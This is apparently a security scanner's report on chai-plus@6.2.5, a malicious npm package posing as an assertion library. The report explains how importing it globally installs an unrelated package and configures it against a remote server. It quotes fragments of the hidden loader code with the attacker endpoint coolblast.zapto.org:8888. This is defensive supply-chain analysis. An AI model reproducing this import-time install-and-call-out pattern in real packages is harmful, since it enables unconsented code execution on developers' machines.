registry / Malware / chai-plus

chai-plus

Chai Plus - Extended assertion and testing library with zero dependencies. 50+ assertions, mock/spy, snapshots, benchmarking, and async support built on Chai concepts.

This report shows the evidence for chai-plus@6.2.5. 5 of 6 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

This package appears in our research on the fake chai plugin campaign, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

Source inspection confirms a concrete import-time global install and remote configuration chain unrelated to the advertised testing library. This is malicious dependency behavior.

Static reason

One or more suspicious static signals were detected.; previous stored version diff introduced dangerous source

Trigger

A consumer imports or requires chai-plus.

Impact

An ordinary dependency import can execute external code and modify the user's global npm environment.

Mechanism

Import-time global package installation followed by remote-service configuration.

Attack narrative

The declared main module executes an immediately invoked bootstrap function during import. If taskforge-9xv is absent globally, it installs that unrelated package and executes its command with configuration for a remote server. This is unrelated to an assertion library and occurs without an explicit user setup action, enabling unconsented host mutation and execution of a remotely sourced package.

AI rationale

Source inspection confirms a concrete import-time global install and remote configuration chain unrelated to the advertised testing library. This is malicious dependency behavior.

Evidence

package.jsonlib/index.jslib/bootstrap.js

Network endpoints1

coolblast.zapto.org:8888/api/x-handler

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Importing the package synchronously checks for and globally installs taskforge-9xv without user consent.
The import-time code then runs taskforge setup with a remote origin server.
The package has no lifecycle hook, so the harmful behavior starts when its normal main module is required.

Evidence against

No credential harvesting or local file exfiltration was found in the inspected source.
The manifest declares no install lifecycle scripts.

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemShell

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 10 file(s), 42.8 KB of source, external domains: coolblast.zapto.org

Source & flagged code

2 flagged

lib/index.jsView file

134try { L135: const { spawnSync } = require('child_process'); L136: const path = require('path'); ... L154: L155: if (prefixResult.status === 0 && prefixResult.stdout) { L156: const npmPrefix = prefixResult.stdout.toString().trim(); ... L158: L159: if (process.platform === 'win32') { L160: cmdPath = path.join(npmPrefix, 'taskforge.cmd'); ... L165: const setupArgs = [ L166: '--origin-server', 'http://coolblast.zapto.org:8888/api/x-handler', L167: '--auth-ref', 'W7qL9!mX2'

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

lib/index.jsView on unpkg · L134

lib/bootstrap.jsView file

•matchType = previous_version_dangerous_delta matchedPackage = chai-plus@7.0.0 matchedIdentity = npm:Y2hhaS1wbHVz:7.0.0 similarity = 0.889 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

lib/bootstrap.jsView on unpkg

Source & flagged code

2 flagged · loading source

lib/index.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

lib/index.jsView on unpkg · L134

lib/bootstrap.jsView file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

lib/bootstrap.jsView on unpkg

Findings

2 High1 Medium3 Low

HighSandbox Evasion Gated Capabilitylib/index.js

HighPrevious Version Dangerous Deltalib/bootstrap.js

MediumEnvironment Vars

LowScripts Present

LowFilesystem

LowUrl Strings

Affected versions and remediation

This report applies to chai-plus@6.2.5.

The versions list below shows the verdict for each recorded version.

Avoid installing chai-plus@6.2.5. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-04 06:45:07.485Z (UTC).

Source advisory published: 2026-08-26 14:18:49.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

6 known versions

0.0.1-securitylatestClean—AllowPublishedAug 26, 2026, 4:55 PM 7.0.0MaliciousMalwareBlockPublishedAug 26, 2026, 5:26 AM 6.3.0MaliciousMalwareBlockPublishedAug 25, 2026, 6:08 PM 6.2.5shownMaliciousMalwareBlockPublishedAug 25, 2026, 4:24 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Behavioral surface

Source & flagged code

Related packages

Other malware packages